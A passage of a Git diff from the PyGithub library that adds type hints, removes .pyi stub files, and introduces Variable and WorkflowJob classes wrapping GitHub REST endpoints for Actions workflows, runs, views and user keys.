github.GithubObject.NotSet + + def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "title": self._title.value}) @property - def id(self): - """ - :type: integer - """ + def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property - def key(self): - """ - :type: string - """ + def key(self) -> str: self._completeIfNotSet(self._key) return self._key.value @property - def title(self): - """ - :type: string - """ + def title(self) -> str: self._completeIfNotSet(self._title) return self._title.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property - def verified(self): - """ - :type: bool - """ + def verified(self) -> bool: self._completeIfNotSet(self._verified) return self._verified.value - def delete(self): + def delete(self) -> None: """ :calls: `DELETE /user/keys/{id} `_ :rtype: None """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) - def _initAttributes(self): - self._id = github.GithubObject.NotSet - self._key = github.GithubObject.NotSet - self._title = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - self._verified = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "key" in attributes: # pragma no branch diff --git a/github/UserKey.pyi b/github/UserKey.pyi deleted file mode 100644 index 4aa4aadb0b..0000000000 --- a/github/UserKey.pyi +++ /dev/null @@ -1,19 +0,0 @@ -from typing import Any, Dict - -from github.GithubObject import CompletableGithubObject - -class UserKey(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - def delete(self) -> None: ... - @property - def id(self) -> int: ... - @property - def key(self) -> str: ... - @property - def title(self) -> str: ... - @property - def url(self) -> str: ... - @property - def verified(self) -> bool: ... diff --git a/github/Variable.py b/github/Variable.py new file mode 100644 index 0000000000..6c431758fb --- /dev/null +++ b/github/Variable.py @@ -0,0 +1,136 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2023 Andrew Dawes <53574062+AndrewJDawes@users.noreply.github.com> # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Mauricio Alejandro Martínez Pacheco # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from __future__ import annotations + +from datetime import datetime +from typing import Any + +from github.GithubObject import Attribute, CompletableGithubObject, NotSet + + +class Variable(CompletableGithubObject): + """ + This class represents a GitHub variable. The reference can be found here https://docs.github.com/en/rest/actions/variables + """ + + def _initAttributes(self) -> None: + self._name: Attribute[str] = NotSet + self._value: Attribute[str] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._variables_url: Attribute[str] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: + return self.get__repr__({"name": self.name}) + + @property + def name(self) -> str: + """ + :type: string + """ + self._completeIfNotSet(self._name) + return self._name.value + + @property + def value(self) -> str: + """ + :type: string + """ + self._completeIfNotSet(self._value) + return self._value.value + + @property + def created_at(self) -> datetime: + """ + :type: datetime.datetime + """ + self._completeIfNotSet(self._created_at) + return self._created_at.value + + @property + def updated_at(self) -> datetime: + """ + :type: datetime.datetime + """ + self._completeIfNotSet(self._updated_at) + return self._updated_at.value + + @property + def variables_url(self) -> str: + """ + :type: string + """ + return self._variables_url.value + + @property + def url(self) -> str: + """ + :type: string + """ + # Construct url from variables_url and name, if self._url. is not set + if self._url is NotSet: + self._url = self._makeStringAttribute(self.variables_url + "/" + self.name) + return self._url.value + + def edit(self, value: str) -> bool: + """ + :calls: `PATCH /repos/{owner}/{repo}/actions/variables/{variable_name} `_ + :param variable_name: string + :param value: string + :rtype: bool + """ + assert isinstance(value, str), value + patch_parameters = { + "name": self.name, + "value": value, + } + status, _, _ = self._requester.requestJson( + "PATCH", + self.url, + input=patch_parameters, + ) + return status == 204 + + def delete(self) -> None: + """ + :calls: `DELETE {variable_url} `_ + :rtype: None + """ + self._requester.requestJsonAndCheck("DELETE", self.url) + + def _useAttributes(self, attributes: dict[str, Any]) -> None: + if "name" in attributes: + self._name = self._makeStringAttribute(attributes["name"]) + if "value" in attributes: + self._value = self._makeStringAttribute(attributes["value"]) + if "created_at" in attributes: + self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) + if "updated_at" in attributes: + self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) + if "variables_url" in attributes: + self._variables_url = self._makeStringAttribute(attributes["variables_url"]) + if "url" in attributes: + self._url = self._makeStringAttribute(attributes["url"]) diff --git a/github/View.py b/github/View.py index e3f3e4958e..75a43213f7 100644 --- a/github/View.py +++ b/github/View.py @@ -1,10 +1,21 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # # Copyright 2018 Justin Kufro # -# Copyright 2018 Ivan Minno # -# Copyright 2018 Zilei Gu # -# Copyright 2018 Yves Zumbach # -# Copyright 2018 Leying Chen # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -24,16 +35,24 @@ # # ################################################################################ -import github.GithubObject +from datetime import datetime +from typing import Any, Dict +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class View(github.GithubObject.NonCompletableGithubObject): + +class View(NonCompletableGithubObject): """ This class represents a popular Path for a GitHub repository. The reference can be found here https://docs.github.com/en/rest/reference/repos#traffic """ - def __repr__(self): + def _initAttributes(self) -> None: + self._timestamp: Attribute[datetime] = NotSet + self._count: Attribute[int] = NotSet + self._uniques: Attribute[int] = NotSet + + def __repr__(self) -> str: return self.get__repr__( { "timestamp": self._timestamp.value, @@ -43,32 +62,18 @@ def __repr__(self): ) @property - def timestamp(self): - """ - :type: datetime.datetime - """ + def timestamp(self) -> datetime: return self._timestamp.value @property - def count(self): - """ - :type: integer - """ + def count(self) -> int: return self._count.value @property - def uniques(self): - """ - :type: integer - """ + def uniques(self) -> int: return self._uniques.value - def _initAttributes(self): - self._timestamp = github.GithubObject.NotSet - self._count = github.GithubObject.NotSet - self._uniques = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "timestamp" in attributes: # pragma no branch self._timestamp = self._makeDatetimeAttribute(attributes["timestamp"]) if "count" in attributes: # pragma no branch diff --git a/github/View.pyi b/github/View.pyi deleted file mode 100644 index dd45c7d69e..0000000000 --- a/github/View.pyi +++ /dev/null @@ -1,15 +0,0 @@ -from datetime import datetime -from typing import Any, Dict - -from github.GithubObject import NonCompletableGithubObject - -class View(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def timestamp(self) -> datetime: ... - @property - def count(self) -> int: ... - @property - def uniques(self) -> int: ... diff --git a/github/Workflow.py b/github/Workflow.py index 8029df5db9..320cb0cb5a 100644 --- a/github/Workflow.py +++ b/github/Workflow.py @@ -1,6 +1,25 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # +# Copyright 2017 Jannis Gebauer # +# Copyright 2017 Simon # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Mahesh Raju # # Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Thomas Burghout # +# Copyright 2023 Trim21 # +# Copyright 2023 sd-kialo <138505487+sd-kialo@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,96 +39,90 @@ # # ################################################################################ +from __future__ import annotations + +from datetime import datetime +from typing import Any + +import github.Branch +import github.Commit import github.GithubObject +import github.NamedUser +import github.Tag import github.WorkflowRun +from github.GithubObject import Attribute, CompletableGithubObject, NotSet, Opt +from github.PaginatedList import PaginatedList -class Workflow(github.GithubObject.CompletableGithubObject): +class Workflow(CompletableGithubObject): """ This class represents Workflows. The reference can be found here https://docs.github.com/en/rest/reference/actions#workflows """ - def __repr__(self): + def _initAttributes(self) -> None: + self._id: Attribute[int] = NotSet + self._name: Attribute[str] = NotSet + self._path: Attribute[str] = NotSet + self._state: Attribute[str] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._url: Attribute[str] = NotSet + self._html_url: Attribute[str] = NotSet + self._badge_url: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"name": self._name.value, "url": self._url.value}) @property - def id(self): - """ - :type: int - """ + def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property - def name(self): - """ - :type: string - """ + def name(self) -> str: self._completeIfNotSet(self._name) return self._name.value @property - def path(self): - """ - :type: string - """ + def path(self) -> str: self._completeIfNotSet(self._path) return self._path.value @property - def state(self): - """ - :type: string - """ + def state(self) -> str: self._completeIfNotSet(self._state) return self._state.value @property - def created_at(self): - """ - :type: datetime.datetime - """ + def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property - def updated_at(self): - """ - :type: datetime.datetime - """ + def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property - def html_url(self): - """ - :type: string - """ + def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property - def badge_url(self): - """ - :type: string - """ + def badge_url(self) -> str: self._completeIfNotSet(self._badge_url) return self._badge_url.value - def create_dispatch(self, ref, inputs=github.GithubObject.NotSet): + def create_dispatch( + self, ref: github.Branch.Branch | github.Tag.Tag | github.Commit.Commit | str, inputs: Opt[dict] = NotSet + ) -> bool: """ :calls: `POST /repos/{owner}/{repo}/actions/workflows/{workflow_id}/dispatches `_ - :param ref: :class:`github.Branch.Branch` or :class:`github.Tag.Tag` or :class:`github.Commit.Commit` or string - :param inputs: dict - :rtype: bool """ assert ( isinstance(ref, github.Branch.Branch) @@ -117,14 +130,14 @@ def create_dispatch(self, ref, inputs=github.GithubObject.NotSet): or isinstance(ref, github.Commit.Commit) or isinstance(ref, str) ), ref - assert inputs is github.GithubObject.NotSet or isinstance(inputs, dict), inputs + assert inputs is NotSet or isinstance(inputs, dict), inputs if isinstance(ref, github.Branch.Branch): ref = ref.name elif isinstance(ref, github.Commit.Commit): ref = ref.sha elif isinstance(ref, github.Tag.Tag): ref = ref.name - if inputs is github.GithubObject.NotSet: + if inputs is NotSet: inputs = {} status, _, _ = self._requester.requestJson( "POST", f"{self.url}/dispatches", input={"ref": ref, "inputs": inputs} @@ -133,47 +146,45 @@ def create_dispatch(self, ref, inputs=github.GithubObject.NotSet): def get_runs( self, - actor=github.GithubObject.NotSet, - branch=github.GithubObject.NotSet, - event=github.GithubObject.NotSet, - status=github.GithubObject.NotSet, - ): - """ - :calls: `GET /repos/{owner}/{repo}/actions/workflows/{workflow_id}/runs `_ - :param actor: :class:`github.NamedUser.NamedUser` or string - :param branch: :class:`github.Branch.Branch` or string - :param event: string - :param status: string - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.WorkflowRun.WorkflowRun` - """ - assert ( - actor is github.GithubObject.NotSet - or isinstance(actor, github.NamedUser.NamedUser) - or isinstance(actor, str) - ), actor - assert ( - branch is github.GithubObject.NotSet - or isinstance(branch, github.Branch.Branch) - or isinstance(branch, str) - ), branch - assert event is github.GithubObject.NotSet or isinstance(event, str), event - assert status is github.GithubObject.NotSet or isinstance(status, str), status - url_parameters = dict() - if actor is not github.GithubObject.NotSet: - url_parameters["actor"] = ( - actor._identity - if isinstance(actor, github.NamedUser.NamedUser) - else actor - ) - if branch is not github.GithubObject.NotSet: - url_parameters["branch"] = ( - branch.name if isinstance(branch, github.Branch.Branch) else branch - ) - if event is not github.GithubObject.NotSet: + actor: Opt[github.NamedUser.NamedUser | str] = NotSet, + branch: Opt[github.Branch.Branch | str] = NotSet, + event: Opt[str] = NotSet, + status: Opt[str] = NotSet, + created: Opt[str] = NotSet, + exclude_pull_requests: Opt[bool] = NotSet, + check_suite_id: Opt[int] = NotSet, + head_sha: Opt[str] = NotSet, + ) -> PaginatedList[github.WorkflowRun.WorkflowRun]: + """ + :calls: `GET /repos/{owner}/{repo}/actions/workflows/{workflow_id}/runs `_ + """ + assert actor is NotSet or isinstance(actor, github.NamedUser.NamedUser) or isinstance(actor, str), actor + assert branch is NotSet or isinstance(branch, github.Branch.Branch) or isinstance(branch, str), branch + assert event is NotSet or isinstance(event, str), event + assert status is NotSet or isinstance(status, str), status + assert created is NotSet or isinstance(created, str), created + assert exclude_pull_requests is NotSet or isinstance(exclude_pull_requests, bool), exclude_pull_requests + assert check_suite_id is NotSet or isinstance(check_suite_id, int), check_suite_id + assert head_sha is NotSet or isinstance(head_sha, str), head_sha + url_parameters: dict[str, Any] = dict() + if actor is not NotSet: + url_parameters["actor"] = actor._identity if isinstance(actor, github.NamedUser.NamedUser) else actor + if branch is not NotSet: + url_parameters["branch"] = branch.name if isinstance(branch, github.Branch.Branch) else branch + if event is not NotSet: url_parameters["event"] = event - if status is not github.GithubObject.NotSet: + if status is not NotSet: url_parameters["status"] = status - return github.PaginatedList.PaginatedList( + if created is not NotSet: + url_parameters["created"] = created + if exclude_pull_requests is not NotSet: + url_parameters["exclude_pull_requests"] = exclude_pull_requests + if check_suite_id is not NotSet: + url_parameters["check_suite_id"] = check_suite_id + if head_sha is not NotSet: + url_parameters["head_sha"] = head_sha + + return PaginatedList( github.WorkflowRun.WorkflowRun, self._requester, f"{self.url}/runs", @@ -182,18 +193,7 @@ def get_runs( list_item="workflow_runs", ) - def _initAttributes(self): - self._id = github.GithubObject.NotSet - self._name = github.GithubObject.NotSet - self._path = github.GithubObject.NotSet - self._state = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - self._badge_url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "name" in attributes: # pragma no branch diff --git a/github/Workflow.pyi b/github/Workflow.pyi deleted file mode 100644 index db706c01ee..0000000000 --- a/github/Workflow.pyi +++ /dev/null @@ -1,45 +0,0 @@ -from datetime import datetime -from typing import Any, Dict, Union - -from github.Branch import Branch -from github.Commit import Commit -from github.GithubObject import CompletableGithubObject, _NotSetType -from github.NamedUser import NamedUser -from github.PaginatedList import PaginatedList -from github.Tag import Tag -from github.WorkflowRun import WorkflowRun - -class Workflow(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - def create_dispatch( - self, - ref: Union[str, Branch, Commit, Tag], - inputs: Union[Dict[str, Union[str, int, float]], _NotSetType] = ..., - ) -> bool: ... - def get_runs( - self, - actor: Union[str, NamedUser, _NotSetType] = ..., - branch: Union[str, Branch, _NotSetType] = ..., - event: Union[str, _NotSetType] = ..., - status: Union[str, _NotSetType] = ..., - ) -> PaginatedList[WorkflowRun]: ... - @property - def id(self) -> int: ... - @property - def name(self) -> str: ... - @property - def path(self) -> str: ... - @property - def state(self) -> str: ... - @property - def created_at(self) -> datetime: ... - @property - def updated_at(self) -> datetime: ... - @property - def url(self) -> str: ... - @property - def html_url(self) -> str: ... - @property - def badge_url(self) -> str: ... diff --git a/github/WorkflowJob.py b/github/WorkflowJob.py new file mode 100644 index 0000000000..f2826e4969 --- /dev/null +++ b/github/WorkflowJob.py @@ -0,0 +1,162 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jeppe Fihl-Pearson # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from __future__ import annotations + +from datetime import datetime +from typing import Any + +import github.GithubObject +import github.WorkflowStep +from github.GithubObject import Attribute, CompletableGithubObject, NotSet + + +class WorkflowJob(CompletableGithubObject): + """ + This class represents Workflow Jobs. The reference can be found here https://docs.github.com/en/rest/reference/actions#workflow-jobs + """ + + def _initAttributes(self) -> None: + self._check_run_url: Attribute[str] = NotSet + self._completed_at: Attribute[datetime] = NotSet + self._conclusion: Attribute[str] = NotSet + self._head_sha: Attribute[str] = NotSet + self._html_url: Attribute[str] = NotSet + self._id: Attribute[int] = NotSet + self._name: Attribute[str] = NotSet + self._node_id: Attribute[str] = NotSet + self._run_id: Attribute[int] = NotSet + self._run_url: Attribute[str] = NotSet + self._started_at: Attribute[datetime] = NotSet + self._status: Attribute[str] = NotSet + self._steps: Attribute[list[github.WorkflowStep.WorkflowStep]] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: + return self.get__repr__({"id": self._id.value, "url": self._url.value}) + + @property + def check_run_url(self) -> str: + self._completeIfNotSet(self._check_run_url) + return self._check_run_url.value + + @property + def completed_at(self) -> datetime: + self._completeIfNotSet(self._completed_at) + return self._completed_at.value + + @property + def conclusion(self) -> str: + self._completeIfNotSet(self._conclusion) + return self._conclusion.value + + @property + def head_sha(self) -> str: + self._completeIfNotSet(self._head_sha) + return self._head_sha.value + + @property + def html_url(self) -> str: + self._completeIfNotSet(self._html_url) + return self._html_url.value + + @property + def id(self) -> int: + self._completeIfNotSet(self._id) + return self._id.value + + @property + def name(self) -> str: + self._completeIfNotSet(self._name) + return self._name.value + + @property + def node_id(self) -> str: + self._completeIfNotSet(self._node_id) + return self._node_id.value + + @property + def run_id(self) -> int: + self._completeIfNotSet(self._run_id) + return self._run_id.value + + @property + def run_url(self) -> str: + self._completeIfNotSet(self._run_url) + return self._run_url.value + + @property + def started_at(self) -> datetime: + self._completeIfNotSet(self._started_at) + return self._started_at.value + + @property + def status(self) -> str: + self._completeIfNotSet(self._status) + return self._status.value + + @property + def steps(self) -> list[github.WorkflowStep.WorkflowStep]: + self._completeIfNotSet(self._steps) + return self._steps.value + + @property + def url(self) -> str: + self._completeIfNotSet(self._url) + return self._url.value + + def logs_url(self) -> str: + headers, _ = self._requester.requestBlobAndCheck("GET", f"{self.url}/logs") + return headers["location"] + + def _useAttributes(self, attributes: dict[str, Any]) -> None: + if "check_run_url" in attributes: # pragma no branch + self._check_run_url = self._makeStringAttribute(attributes["check_run_url"]) + if "completed_at" in attributes: # pragma no branch + self._completed_at = self._makeDatetimeAttribute(attributes["completed_at"]) + if "conclusion" in attributes: # pragma no branch + self._conclusion = self._makeStringAttribute(attributes["conclusion"]) + if "head_sha" in attributes: # pragma no branch + self._head_sha = self._makeStringAttribute(attributes["head_sha"]) + if "html_url" in attributes: # pragma no branch + self._html_url = self._makeStringAttribute(attributes["html_url"]) + if "id" in attributes: # pragma no branch + self._id = self._makeIntAttribute(attributes["id"]) + if "name" in attributes: # pragma no branch + self._name = self._makeStringAttribute(attributes["name"]) + if "node_id" in attributes: # pragma no branch + self._node_id = self._makeStringAttribute(attributes["node_id"]) + if "run_id" in attributes: # pragma no branch + self._run_id = self._makeIntAttribute(attributes["run_id"]) + if "run_url" in attributes: # pragma no branch + self._run_url = self._makeStringAttribute(attributes["run_url"]) + if "started_at" in attributes: # pragma no branch + self._started_at = self._makeDatetimeAttribute(attributes["started_at"]) + if "status" in attributes: # pragma no branch + self._status = self._makeStringAttribute(attributes["status"]) + if "steps" in attributes: # pragma no branch + self._steps = self._makeListOfClassesAttribute(github.WorkflowStep.WorkflowStep, attributes["steps"]) + if "url" in attributes: # pragma no branch + self._url = self._makeStringAttribute(attributes["url"]) diff --git a/github/WorkflowRun.py b/github/WorkflowRun.py index f54de90b2c..5722f97581 100644 --- a/github/WorkflowRun.py +++ b/github/WorkflowRun.py @@ -1,8 +1,15 @@ ############################ Copyrights and license ############################ # # # Copyright 2020 Steve Kowalik # -# Copyright 2021 Denis Blanchette # -# Copyright 2022 Aleksei Fedotov # +# Copyright 2020 Yannick Jadoul # +# Copyright 2021 Steve Kowalik # +# Copyright 2022 Aleksei Fedotov # +# Copyright 2022 Gabriele Oliaro # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jeppe Fihl-Pearson # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Sasha Chung <50770626+nuang-ee@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -22,176 +29,179 @@ # # ################################################################################ -from collections import namedtuple +from __future__ import annotations -import github.Artifact -import github.GithubObject -import github.Job +from datetime import datetime +from typing import TYPE_CHECKING, Any, NamedTuple + +import github.GitCommit import github.PullRequest +import github.WorkflowJob +from github.GithubObject import Attribute, CompletableGithubObject, NotSet, Opt, is_optional +from github.PaginatedList import PaginatedList + +if TYPE_CHECKING: + from github.Artifact import Artifact + from github.GitCommit import GitCommit + from github.PullRequest import PullRequest + from github.Repository import Repository + from github.WorkflowJob import WorkflowJob + +class TimingData(NamedTuple): + billable: dict[str, dict[str, int]] + run_duration_ms: int -class WorkflowRun(github.GithubObject.CompletableGithubObject): + +class WorkflowRun(CompletableGithubObject): """ This class represents Workflow Runs. The reference can be found here https://docs.github.com/en/rest/reference/actions#workflow-runs """ - def __repr__(self): + def _initAttributes(self) -> None: + self._id: Attribute[int] = NotSet + self._url: Attribute[str] = NotSet + self._name: Attribute[str] = NotSet + self._path: Attribute[str] = NotSet + self._head_branch: Attribute[str] = NotSet + self._head_sha: Attribute[str] = NotSet + self._run_attempt: Attribute[int] = NotSet + self._run_number: Attribute[int] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._pull_requests: Attribute[list[PullRequest]] = NotSet + self._status: Attribute[str] = NotSet + self._conclusion: Attribute[str] = NotSet + self._html_url: Attribute[str] = NotSet + self._jobs_url: Attribute[str] = NotSet + self._logs_url: Attribute[str] = NotSet + self._display_title: Attribute[str] = NotSet + self._event: Attribute[str] = NotSet + self._run_started_at: Attribute[datetime] = NotSet + self._check_suite_url: Attribute[str] = NotSet + self._cancel_url: Attribute[str] = NotSet + self._rerun_url: Attribute[str] = NotSet + self._artifacts_url: Attribute[str] = NotSet + self._workflow_url: Attribute[str] = NotSet + self._head_commit: Attribute[GitCommit] = NotSet + self._repository: Attribute[Repository] = NotSet + self._head_repository: Attribute[Repository] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "url": self._url.value}) @property - def id(self): - """ - :type: int - """ + def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property - def head_branch(self): - """ - :type: string - """ + def name(self) -> str: + self._completeIfNotSet(self._name) + return self._name.value + + @property + def head_branch(self) -> str: self._completeIfNotSet(self._head_branch) return self._head_branch.value @property - def head_sha(self): - """ - :type: string - """ + def head_sha(self) -> str: self._completeIfNotSet(self._head_sha) return self._head_sha.value @property - def run_attempt(self): - """ - :type: integer - """ + def display_title(self) -> str: + self._completeIfNotSet(self._display_title) + return self._display_title.value + + @property + def path(self) -> str: + self._completeIfNotSet(self._path) + return self._path.value + + @property + def run_attempt(self) -> int: self._completeIfNotSet(self._run_attempt) return self._run_attempt.value @property - def run_number(self): - """ - :type: int - """ + def run_number(self) -> int: self._completeIfNotSet(self._run_number) return self._run_number.value @property - def event(self): - """ - :type: string - """ + def event(self) -> str: self._completeIfNotSet(self._event) return self._event.value @property - def run_started_at(self): - """ - :type: datetime.datetime - """ + def run_started_at(self) -> datetime: self._completeIfNotSet(self._run_started_at) return self._run_started_at.value @property - def status(self): - """ - :type: string - """ + def status(self) -> str: self._completeIfNotSet(self._status) return self._status.value @property - def conclusion(self): - """ - :type: string - """ + def conclusion(self) -> str: self._completeIfNotSet(self._conclusion) return self._conclusion.value @property - def workflow_id(self): - """ - :type: int - """ + def workflow_id(self) -> int: self._completeIfNotSet(self._workflow_id) return self._workflow_id.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property - def html_url(self): - """ - :type: string - """ + def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property - def pull_requests(self): - """ - :type: list of :class:`github.PullRequest.PullRequest` - """ + def pull_requests(self) -> list[PullRequest]: self._completeIfNotSet(self._pull_requests) return self._pull_requests.value @property - def created_at(self): - """ - :type: datetime.datetime - """ + def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property - def updated_at(self): - """ - :type: datetime.datetime - """ + def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property - def jobs_url(self): - """ - :type: string - """ + def jobs_url(self) -> str: self._completeIfNotSet(self._jobs_url) return self._jobs_url.value @property - def logs_url(self): - """ - :type: string - """ + def logs_url(self) -> str: self._completeIfNotSet(self._logs_url) return self._logs_url.value @property - def check_suite_url(self): - """ - :type: string - """ + def check_suite_url(self) -> str: self._completeIfNotSet(self._check_suite_url) return self._check_suite_url.value @property - def artifacts_url(self): - """ - :type: string - """ + def artifacts_url(self) -> str: self._completeIfNotSet(self._artifacts_url) return self._artifacts_url.value - def get_artifacts(self): - return github.PaginatedList.PaginatedList( + def get_artifacts(self) -> PaginatedList[Artifact]: + return PaginatedList( github.Artifact.Artifact, self._requester, self._artifacts_url.value, @@ -200,133 +210,99 @@ def get_artifacts(self): ) @property - def cancel_url(self): - """ - :type: string - """ + def cancel_url(self) -> str: self._completeIfNotSet(self._cancel_url) return self._cancel_url.value @property - def rerun_url(self): - """ - :type: string - """ + def rerun_url(self) -> str: self._completeIfNotSet(self._rerun_url) return self._rerun_url.value @property - def workflow_url(self): - """ - :type: string - """ + def workflow_url(self) -> str: self._completeIfNotSet(self._workflow_url) return self._workflow_url.value @property - def head_commit(self): - """ - :type: :class:`github.GitCommit.GitCommit` - """ + def head_commit(self) -> GitCommit: self._completeIfNotSet(self._head_commit) return self._head_commit.value @property - def repository(self): - """ - :type: :class:`github.Repository.Repository` - """ + def repository(self) -> Repository: self._completeIfNotSet(self._repository) return self._repository.value @property - def head_repository(self): - """ - :type: :class:`github.Repository.Repository` - """ + def head_repository(self) -> Repository: self._completeIfNotSet(self._head_repository) return self._head_repository.value - def get_jobs(self): + def get_jobs(self, _filter: Opt[str] = NotSet) -> PaginatedList[WorkflowJob]: """ - :calls: `GET` /repos/{owner}/{repo}/actions/runs/{run_id}/jobs - :rtype: list of :class:`github.Job.Job` + Backward compat because of old coveo fork: use `jobs()` instead. """ - return github.PaginatedList.PaginatedList( - github.Job.Job, - self._requester, - f"{self.url}/jobs", - None, - list_item="jobs", - ) + return self.jobs(_filter) - def cancel(self): + def cancel(self) -> bool: """ :calls: `POST /repos/{owner}/{repo}/actions/runs/{run_id}/cancel `_ - :rtype: bool """ status, _, _ = self._requester.requestJson("POST", self.cancel_url) return status == 202 - def rerun(self): + def rerun(self) -> bool: """ :calls: `POST /repos/{owner}/{repo}/actions/runs/{run_id}/rerun `_ - :rtype: bool """ status, _, _ = self._requester.requestJson("POST", self.rerun_url) return status == 201 - def timing(self): + def timing(self) -> TimingData: """ :calls: `GET /repos/{owner}/{repo}/actions/runs/{run_id}/timing `_ - :rtype: namedtuple with billable and run_duration_ms members """ headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/timing") - timingdata = namedtuple("TimingData", data.keys()) - return timingdata._make(data.values()) + return TimingData(billable=data["billable"], run_duration_ms=data["run_duration_ms"]) # type: ignore - def delete(self): + def delete(self) -> bool: """ :calls: `DELETE /repos/{owner}/{repo}/actions/runs/{run_id} `_ - :rtype: bool """ status, _, _ = self._requester.requestJson("DELETE", self.url) return status == 204 - def _initAttributes(self): - self._id = github.GithubObject.NotSet - self._head_branch = github.GithubObject.NotSet - self._head_sha = github.GithubObject.NotSet - self._run_attempt = github.GithubObject.NotSet - self._run_number = github.GithubObject.NotSet - self._event = github.GithubObject.NotSet - self._run_started_at = github.GithubObject.NotSet - self._status = github.GithubObject.NotSet - self._conclusion = github.GithubObject.NotSet - self._workflow_id = 